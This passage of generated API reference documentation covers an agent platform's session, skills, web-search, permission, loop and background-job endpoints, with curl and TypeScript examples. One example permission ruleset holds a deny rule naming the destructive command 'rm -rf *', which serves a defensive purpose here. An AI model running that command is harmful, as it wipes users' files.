  sessionID: "ses_01HXY123",
  data: {
    messageID: "msg_01HXY...",
    partID: "prt_01HXY...",
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `messageID` | string | Yes | Matches `^msg.*` |
| `partID` | string | No | Matches `^prt.*` |

```json
{
  "messageID": "msg_01HXY...",
  "partID": "prt_01HXY..."
}
```

### Response



```json
{
  "id": "5fa1bd2e9c1d2c0001b2a3f4",
  "slug": "refactor-auth-flow",
  "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
  "directory": "/home/user/projects/app",
  "parentID": null,
  "summary": {
    "additions": 0,
    "deletions": 0,
    "files": 0,
    "diffs": []
  },
  "title": "Refactor auth flow",
  "version": "v1.2.3",
  "time": {
    "created": 1731000000000,
    "updated": 1731001400000,
    "compacting": 0,
    "archived": 0
  },
  "permission": [
    { "permission": "edit", "pattern": "*", "action": "ask" }
  ],
  "metadata": {},
  "revert": {
    "messageID": "msg_01HXY...",
    "partID": "prt_01HXY...",
    "snapshot": "snap_abc",
    "diff": "diff --git a/..."
  }
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "messageID", "message": "messageID is required" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/unrevert`

Restore all messages that were previously reverted.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/unrevert"
```


```ts
await client.agent.sessions.unrevert({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Response



```json
{
  "id": "5fa1bd2e9c1d2c0001b2a3f4",
  "slug": "refactor-auth-flow",
  "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
  "directory": "/home/user/projects/app",
  "parentID": null,
  "summary": {
    "additions": 142,
    "deletions": 38,
    "files": 7,
    "diffs": []
  },
  "title": "Refactor auth flow",
  "version": "v1.2.3",
  "time": {
    "created": 1731000000000,
    "updated": 1731001500000,
    "compacting": 0,
    "archived": 0
  },
  "permission": [
    { "permission": "edit", "pattern": "*", "action": "ask" }
  ],
  "metadata": {},
  "revert": {
    "messageID": "msg_01HXY..."
  }
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "session", "message": "no prior revert to restore" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/abort`

Abort any in-progress AI processing for the session.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/abort"
```


```ts
await client.agent.sessions.abort({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Response



```json
true
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/summarize`

Generate a concise summary of the session using AI compaction. Use `auto: true` to run compaction automatically.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/summarize" \
  -H "Content-Type: application/json" \
  -d '{
    "providerID": "anthropic",
    "modelID": "claude-3-5-sonnet",
    "auto": false,
    "systemPrompt": "Summarize concisely."
  }'
```


```ts
await client.agent.sessions.summarize({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: {
    providerID: "anthropic",
    modelID: "claude-3-5-sonnet",
    auto: false,
    systemPrompt: "Summarize concisely.",
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `providerID` | string | Yes | |
| `modelID` | string | Yes | |
| `auto` | boolean | No | Default: `false` |
| `systemPrompt` | string | No | |

```json
{
  "providerID": "anthropic",
  "modelID": "claude-3-5-sonnet",
  "auto": false,
  "systemPrompt": "Summarize concisely."
}
```

### Response



```json
true
```


```json
{
  "data": null,
  "errors": [
    { "path": "modelID", "message": "modelID is required" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```


```json
{
  "error": "Session is busy",
  "code": "session_busy"
}
```




The 409 response includes an optional `code` field that discriminates sub-cases such as `loop_already_active`, `session_busy`, and `loop_install_aborted`, so SDK consumers don't have to regex-match human messages.


---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/init`

Trigger AI-based workspace analysis to generate or update an `AGENTS.md` configuration file.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/init" \
  -H "Content-Type: application/json" \
  -d '{
    "providerID": "anthropic",
    "modelID": "claude-3-5-sonnet",
    "messageID": "msg_01HXY..."
  }'
```


```ts
await client.agent.sessions.init({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: {
    providerID: "anthropic",
    modelID: "claude-3-5-sonnet",
    messageID: "msg_01HXY...",
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `modelID` | string | Yes | |
| `providerID` | string | Yes | |
| `messageID` | string | Yes | Matches `^msg.*` |

```json
{
  "providerID": "anthropic",
  "modelID": "claude-3-5-sonnet",
  "messageID": "msg_01HXY..."
}
```

### Response



```json
true
```


```json
{
  "data": null,
  "errors": [
    { "path": "messageID", "message": "messageID is required" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/export`

Export a session in Markdown, JSON, or Plain Text format.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/export" \
  -H "Accept: text/markdown"
```


```ts
await client.agent.sessions.export({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Response



Returns the exported session content. The response content type depends on the request's `Accept` header (`text/markdown`, `application/json`, or `text/plain`).


```json
{
  "data": null,
  "errors": [
    { "path": "Accept", "message": "unsupported content type" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```




The export format is selected via the request's `Accept` header: `text/markdown` (default), `application/json`, or `text/plain`. Compression options and per-format content selection are configured on the request via the same Accept negotiation surface.

---

# Agent: Skills

**Page:** api/agent/skills

[Download Raw Markdown](./api/agent/skills.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Agent: Skills

Manage agent skills within a workspace: browse the public marketplace, create, read, update, and delete custom skills, and toggle built-in skills on or off. Skills are reusable instructions that the agent can invoke via `exec_user_script`; this page documents the CRUD and discovery operations that back that workflow.

---

### `GET /api/v1/exec-skills`

Returns the ground truth list of scripts available to the agent via `exec_user_script`.



```json
{
  "all": ["git-status", "run-tests", "lint-code"],
  "agent": ["git-status", "lint-code"]
}
```


Hoody Exec service unavailable.

```json
{
  "error": "Service Unavailable",
  "message": "Hoody Exec service is currently unavailable"
}
```





```bash
curl -X GET https://api.hoody.com/api/v1/exec-skills \
  -H "Authorization: Bearer <token>"
```


```ts
const scripts = await client.agent.skills.discover();
```



---

### `GET /api/v1/workspaces/{workspaceID}/skills/marketplace`

Browse skills from the `skillsmp.com` marketplace. Results are cached for 5 minutes.

This endpoint takes a path parameter.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |



```json
{
  "skills": [
    {
      "name": "code-review-assistant",
      "description": "Performs a structured code review on a pull request.",
      "author": "skillsmp",
      "tags": ["review", "quality"],
      "downloads": 12453
    },
    {
      "name": "sql-query-builder",
      "description": "Builds safe, parameterized SQL queries from natural language.",
      "author": "skillsmp",
      "tags": ["database", "sql"],
      "downloads": 8912
    }
  ],
  "total": 2
}
```





```bash
curl -X GET https://api.hoody.com/api/v1/workspaces/ws_8f3a1b/skills/marketplace \
  -H "Authorization: Bearer <token>"
```


```ts
const marketplace = await client.agent.skills.listMarketplace({
  workspaceID: "ws_8f3a1b"
});
```



---

### `GET /api/v1/workspaces/{workspaceID}/skills/{name}`

Get a skill by name with its full content.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `name` | path | string | Yes | The name of the skill. |



```json
{
  "name": "code-review",
  "description": "Reviews staged changes and reports potential issues.",
  "location": "/workspaces/ws_8f3a1b/skills/code-review/SKILL.md",
  "content": "# Code Review\n\nReview the diff and summarize findings by severity.",
  "scope": "project",
  "editable": true,
  "enabled": true,
  "builtin": false
}
```





```bash
curl -X GET https://api.hoody.com/api/v1/workspaces/ws_8f3a1b/skills/code-review \
  -H "Authorization: Bearer <token>"
```


```ts
const skill = await client.agent.skills.get({
  workspaceID: "ws_8f3a1b",
  name: "code-review"
});
```



---

### `PUT /api/v1/workspaces/{workspaceID}/skills/{name}`

Create a new skill or update an existing one. `scope` is only used on create; changing a skill's scope requires deleting and recreating it.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `name` | path | string | Yes | The name of the skill. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `description` | string | Yes | A human-readable description of what the skill does. |
| `content` | string | Yes | The skill body (typically Markdown instructions). |
| `scope` | string | No | The skill scope. One of `project` or `global`. Default: `"project"`. |
| `enabled` | boolean | No | Whether the skill is enabled. |

```json
{
  "description": "Reviews staged changes and reports potential issues.",
  "content": "# Code Review\n\nReview the diff and summarize findings by severity.",
  "scope": "project",
  "enabled": true
}
```



```json
{
  "name": "code-review",
  "description": "Reviews staged changes and reports potential issues.",
  "location": "/workspaces/ws_8f3a1b/skills/code-review/SKILL.md",
  "content": "# Code Review\n\nReview the diff and summarize findings by severity.",
  "scope": "project",
  "editable": true,
  "enabled": true,
  "builtin": false
}
```


```json
{
  "name": "code-review",
  "description": "Reviews staged changes and reports potential issues.",
  "location": "/workspaces/ws_8f3a1b/skills/code-review/SKILL.md",
  "content": "# Code Review\n\nReview the diff and summarize findings by severity.",
  "scope": "project",
  "editable": true,
  "enabled": true,
  "builtin": false
}
```


```json
{
  "data": null,
  "errors": [
    {
      "propertyNames": ["content"],
      "message": "content must not be empty"
    }
  ],
  "success": false
}
```


Skill is read-only.

```json
{
  "error": "Forbidden",
  "message": "Built-in skills cannot be modified"
}
```


Skill already exists.

```json
{
  "error": "Conflict",
  "message": "A skill with this name already exists; use PATCH to update it"
}
```





```bash
curl -X PUT https://api.hoody.com/api/v1/workspaces/ws_8f3a1b/skills/code-review \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "description": "Reviews staged changes and reports potential issues.",
    "content": "# Code Review\n\nReview the diff and summarize findings by severity.",
    "scope": "project",
    "enabled": true
  }'
```


```ts
const skill = await client.agent.skills.upsert({
  workspaceID: "ws_8f3a1b",
  name: "code-review",
  data: {
    description: "Reviews staged changes and reports potential issues.",
    content: "# Code Review\n\nReview the diff and summarize findings by severity.",
    scope: "project",
    enabled: true
  }
});
```



---

### `PATCH /api/v1/workspaces/{workspaceID}/skills/{name}`

Partially update an existing skill. At least one of `description` or `content` must be provided.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `name` | path | string | Yes | The name of the skill. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `description` | string | No | A human-readable description of what the skill does. |
| `content` | string | No | The skill body (typically Markdown instructions). |
| `enabled` | boolean | No | Whether the skill is enabled. |

```json
{
  "description": "Reviews staged changes and reports potential issues, with severity grouping.",
  "enabled": false
}
```



```json
{
  "name": "code-review",
  "description": "Reviews staged changes and reports potential issues, with severity grouping.",
  "location": "/workspaces/ws_8f3a1b/skills/code-review/SKILL.md",
  "content": "# Code Review\n\nReview the diff and summarize findings by severity.",
  "scope": "project",
  "editable": true,
  "enabled": false,
  "builtin": false
}
```


```json
{
  "data": null,
  "errors": [
    {
      "propertyNames": ["body"],
      "message": "At least one of description or content must be provided"
    }
  ],
  "success": false
}
```


Skill is read-only.

```json
{
  "error": "Forbidden",
  "message": "Built-in skills cannot be modified"
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Skill 'code-review' not found in workspace ws_8f3a1b"
  }
}
```





```bash
curl -X PATCH https://api.hoody.com/api/v1/workspaces/ws_8f3a1b/skills/code-review \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "description": "Reviews staged changes and reports potential issues, with severity grouping.",
    "enabled": false
  }'
```


```ts
const skill = await client.agent.skills.update({
  workspaceID: "ws_8f3a1b",
  name: "code-review",
  data: {
    description: "Reviews staged changes and reports potential issues, with severity grouping.",
    enabled: false
  }
});
```



---

### `PATCH /api/v1/workspaces/{workspaceID}/skills/builtin/{name}`

Enable or disable a built-in skill.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `name` | path | string | Yes | The name of the built-in skill. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `enabled` | boolean | Yes | Whether the built-in skill should be enabled. |

```json
{
  "enabled": true
}
```



```json
{
  "name": "web-search",
  "description": "Performs a web search and summarizes the top results.",
  "location": "/builtin/skills/web-search/SKILL.md",
  "content": "# Web Search\n\nUse web_search to find current information.",
  "scope": "project",
  "editable": false,
  "enabled": true,
  "builtin": true
}
```


```json
{
  "data": null,
  "errors": [
    {
      "propertyNames": ["enabled"],
      "message": "enabled must be a boolean"
    }
  ],
  "success": false
}
```


Not a built-in skill.

```json
{
  "error": "Not Found",
  "message": "'code-review' is not a built-in skill"
}
```





```bash
curl -X PATCH https://api.hoody.com/api/v1/workspaces/ws_8f3a1b/skills/builtin/web-search \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": true
  }'
```


```ts
const skill = await client.agent.skills.toggleBuiltin({
  workspaceID: "ws_8f3a1b",
  name: "web-search",
  data: {
    enabled: true
  }
});
```



---

### `DELETE /api/v1/workspaces/{workspaceID}/skills/{name}`

Delete an editable skill by name.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The workspace identifier. |
| `name` | path | string | Yes | The name of the skill. |



```json
{
  "success": true
}
```


```json
{
  "data": null,
  "errors": [
    {
      "propertyNames": ["name"],
      "message": "name must not be empty"
    }
  ],
  "success": false
}
```


Skill is read-only.

```json
{
  "error": "Forbidden",
  "message": "Built-in skills cannot be deleted"
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Skill 'code-review' not found in workspace ws_8f3a1b"
  }
}
```





```bash
curl -X DELETE https://api.hoody.com/api/v1/workspaces/ws_8f3a1b/skills/code-review \
  -H "Authorization: Bearer <token>"
```


```ts
const result = await client.agent.skills.delete({
  workspaceID: "ws_8f3a1b",
  name: "code-review"
});
```




Built-in skills cannot be modified or deleted with the standard CRUD endpoints. Use the dedicated `toggleBuiltin` endpoint to enable or disable a built-in skill for a workspace.

---

# Agent: Web Search

**Page:** api/agent/web-search

[Download Raw Markdown](./api/agent/web-search.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Agent Web Search API lets you check whether web search is enabled and authenticated for a given workspace. Use this endpoint to verify the connection status of the web search backend before relying on search-powered agent features.

## Get web search status

Returns the current web search configuration and authentication status for the specified workspace.

### `GET /api/v1/workspaces/{workspaceID}/web-search/status`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | The unique identifier of the workspace. |

This endpoint accepts no request body.

### Response



```json
{
  "enabled": true,
  "model": "gpt-4o",
  "provider": "openai",
  "authenticated": true
}
```



### SDK Usage

```typescript
const status = await client.agent.webSearch.getStatus({
  workspaceID: "ws_abc123"
});

if (status.enabled && status.authenticated) {
  console.log(`Web search ready via ${status.provider} (${status.model})`);
} else {
  console.log("Web search is not fully configured for this workspace");
}
```

---

# Agent: Workspace Sessions

**Page:** api/agent/workspace-sessions

[Download Raw Markdown](./api/agent/workspace-sessions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Agent: Workspace Sessions

These workspace-scoped session endpoints operate on a specific session within a workspace, providing session inspection, autonomous loop control, background job management, and CLI agent run capabilities. All endpoints require a `workspaceID` and `sessionID` in the path. Streaming endpoints return `text/event-stream`; the rest return JSON.

## Session Inspection

Inspect the runtime state of a session: effective permission rulesets, individual tool-call results, and live message updates.

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/permissions`

Return the static merged ruleset that `PermissionNext.ask()` passes to `evaluate()` at tool-invocation time. Tool dispatch merges `agent.permission` with `session.permission` — not raw `config.permission` — because each agent definition pre-bakes defaults, YOLO overrides, agent-specific rules, and user `cfg.permission` into its own ruleset. The response includes the resolved `agent` name, the agent's pre-baked `agentRuleset`, the session-scoped `sessionRuleset`, and the `effective` ruleset (the exact array passed to `PermissionNext.evaluate()` with last-match-wins semantics).

This endpoint reflects the persisted ruleset only. Transient `"always"` approvals from `PermissionNext.reply` that have not yet been written to `session.permission` are NOT included. Pass `?agent=` to inspect the ruleset under a non-default agent.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | Session identifier |
| `agent` | query | string | No | Agent name to evaluate the ruleset under (defaults to the configured default agent or `build`) |



```bash
curl -X GET "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/permissions?agent=build" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.agent.workspaceSession.sessionsGetPermissions({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  agent: "build",
});
```



#### Response



```json
{
  "agent": "build",
  "agentRuleset": [
    { "permission": "bash", "pattern": "*", "action": "allow" }
  ],
  "sessionRuleset": [
    { "permission": "bash", "pattern": "rm -rf *", "action": "deny" }
  ],
  "effective": [
    { "permission": "bash", "pattern": "rm -rf *", "action": "deny" },
    { "permission": "bash", "pattern": "*", "action": "allow" }
  ]
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/messages/{messageID}/tools/{callID}`

Return the `ToolPart` on a message that matches `callID` — without forcing the SDK consumer to fetch and scan the full message. Returns 404 if the message does not belong to this session, the message is missing, or the message has no `ToolPart` with that `callID`.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | Session identifier |
| `messageID` | path | string | Yes | Message identifier |
| `callID` | path | string | Yes | Tool-call ID |



```bash
curl -X GET "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/messages/msg_01HXYZABCDEFGHJKMNPQRSTVW/tools/call_01HXYZABCDEFGHJKMNPQRSTVW" \
  -H "Authorization: Bearer <token>"
```


```typescript
const part = await client.agent.workspaceSession.sessionsGetToolCall({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  messageID: "msg_01HXYZABCDEFGHJKMNPQRSTVW",
  callID: "call_01HXYZABCDEFGHJKMNPQRSTVW",
});
```



#### Response



```json
{
  "id": "prt_01HXYZABCDEFGHJKMNPQRSTVW",
  "sessionID": "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  "messageID": "msg_01HXYZABCDEFGHJKMNPQRSTVW",
  "type": "tool",
  "callID": "call_01HXYZABCDEFGHJKMNPQRSTVW",
  "tool": "bash",
  "state": {
    "status": "completed",
    "input": { "command": "ls -la" },
    "output": "total 12\ndrwxr-xr-x 3 user user 4096 ...\n",
    "title": "List directory",
    "metadata": {},
    "time": {
      "start": 1700000000000,
      "end": 1700000000100
    }
  },
  "metadata": {}
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Tool call not found for this message"
  }
}
```



### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/messages/{messageID}/stream`

Server-Sent Events stream of `MessageV2` updates scoped to a single `(sessionID, messageID)`. The server emits a `snapshot` event first with the current message and parts, then `part.updated`, `part.removed`, `message.updated`, and `message.removed` events as they happen on the bus. Heartbeats arrive every 30 seconds. The stream closes automatically once the assistant message becomes terminal (`message.time.completed` is set), sending a `done` event with the final message info just before close. Returns 404 if the message is missing in this session.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | Session identifier |
| `messageID` | path | string | Yes | Message identifier |



```bash
curl -N -X GET "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/messages/msg_01HXYZABCDEFGHJKMNPQRSTVW/stream" \
  -H "Authorization: Bearer <token>" \
  -H "Accept: text/event-stream"
```


```typescript
const stream = await client.agent.workspaceSession.sessionsStreamMessage({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  messageID: "msg_01HXYZABCDEFGHJKMNPQRSTVW",
});

for await (const event of stream) {
  console.log(event.type, event);
}
```



#### Response



```http
HTTP/1.1 200 OK
Content-Type: text/event-stream

event: snapshot
data: {"type":"snapshot","message":{"id":"msg_01HXYZ...","role":"assistant","time":{"created":1700000000000}},"parts":[]}

event: part.updated
data: {"type":"part.updated","part":{"id":"prt_01HX...","type":"text","text":"Let me think..."}}

event: done
data: {"type":"done","message":{"id":"msg_01HXYZ...","time":{"completed":1700000005000}}}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Message not found in this session"
  }
}
```



## Autonomous Loop

Drive the session's prompt loop as a repeating directive. While a loop is active, the frontend disables the chat input.

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/loop`

Return the active loop directive for the session, or `null` if no loop is active.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | Session identifier |



```bash
curl -X GET "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/loop" \
  -H "Authorization: Bearer <token>"
```


```typescript
const loop = await client.agent.workspaceSession.sessionsLoopPeek({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
});
```



#### Response



```json
{
  "prompt": "Run the test suite and fix any failures.",
  "iters": 5,
  "iter": 1,
  "started_at": 1700000000000,
  "launch_id": "launch_01HXYZABCDEFGHJKMNPQRSTVW",
  "agent": "build",
  "model": {
    "providerID": "anthropic",
    "modelID": "claude-3-5-sonnet-20241022"
  },
  "system": "You are a careful engineer."
}
```

When no loop is active, the response is the JSON literal `null`.


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/loop`

Install a loop directive on the session. The session re-enters its prompt loop for `iters` iterations, synthesizing the same `prompt` as the user turn each iteration. Stop with `DELETE /loop`. Returns 409 if a loop is already active or the session is busy.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | Session identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `prompt` | string | Yes | Loop prompt (1–8000 chars) |
| `iters` | integer | Yes | Total iterations (1–100) |



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/loop" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "Run the test suite and fix any failures.",
    "iters": 5
  }'
```


```typescript
const loop = await client.agent.workspaceSession.sessionsLoopInstall({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  data: {
    prompt: "Run the test suite and fix any failures.",
    iters: 5,
  },
});
```



#### Response



```json
{
  "prompt": "Run the test suite and fix any failures.",
  "iters": 5,
  "iter": 0,
  "started_at": 1700000000000,
  "launch_id": "launch_01HXYZABCDEFGHJKMNPQRSTVW",
  "agent": "build",
  "model": {
    "providerID": "anthropic",
    "modelID": "claude-3-5-sonnet-20241022"
  },
  "system": "You are a careful engineer."
}
```


```json
{
  "data": {},
  "errors": [
    { "field": "iters", "message": "Must be between 1 and 100" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```


```json
{
  "error": "A loop is already active on this session",
  "code": "loop_already_active"
}
```



### `DELETE /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/loop`

Clear the loop directive AND cancel the running prompt. Idempotent — safe to call when no loop is active.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | Session identifier |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/loop" \
  -H "Authorization: Bearer <token>"
```


```typescript
const cleared = await client.agent.workspaceSession.sessionsLoopClear({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
});
```



#### Response



```json
true
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



## Background Jobs

Manage background jobs created on a session — RSI, self-tuning, `cli_agent`, `bash`, `webfetch`. Jobs run with a `wakePolicy` (when the result is delivered back into the conversation) and a `durability` (how long they are kept).

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/jobs`

Return background jobs created on this session. Filter by status with `?status=active|completed|all`. Paginate with `?limit&cursor` — when `limit` is set and more results exist after the page, the response includes `nextCursor` (use it as `cursor` on the next call). Jobs are sorted ascending by creation time, so `nextCursor` resumes after the last seen job ID.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `status` | query | string | No | Status filter. Allowed values: `active`, `completed`, `all`. Default: `"all"`. |
| `limit` | query | integer | No | Max jobs to return per page. Defaults to no cap (returns the full filtered set). |
| `cursor` | query | string | No | Pagination cursor. Pass the previous response's `nextCursor` to fetch the next page. |
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |



```bash
curl -X GET "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/jobs?status=all&limit=20" \
  -H "Authorization: Bearer <token>"
```


```typescript
const page = await client.agent.workspaceSession.sessionsJobsList({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  status: "all",
  limit: 20,
});
```



#### Response



```json
{
  "jobs": [
    {
      "id": "job_01HXYZABCDEFGHJKMNPQRSTVW",
      "sessionID": "sess_01HXYZABCDEFGHJKMNPQRSTVW",
      "messageID": "msg_01HXYZABCDEFGHJKMNPQRSTVW",
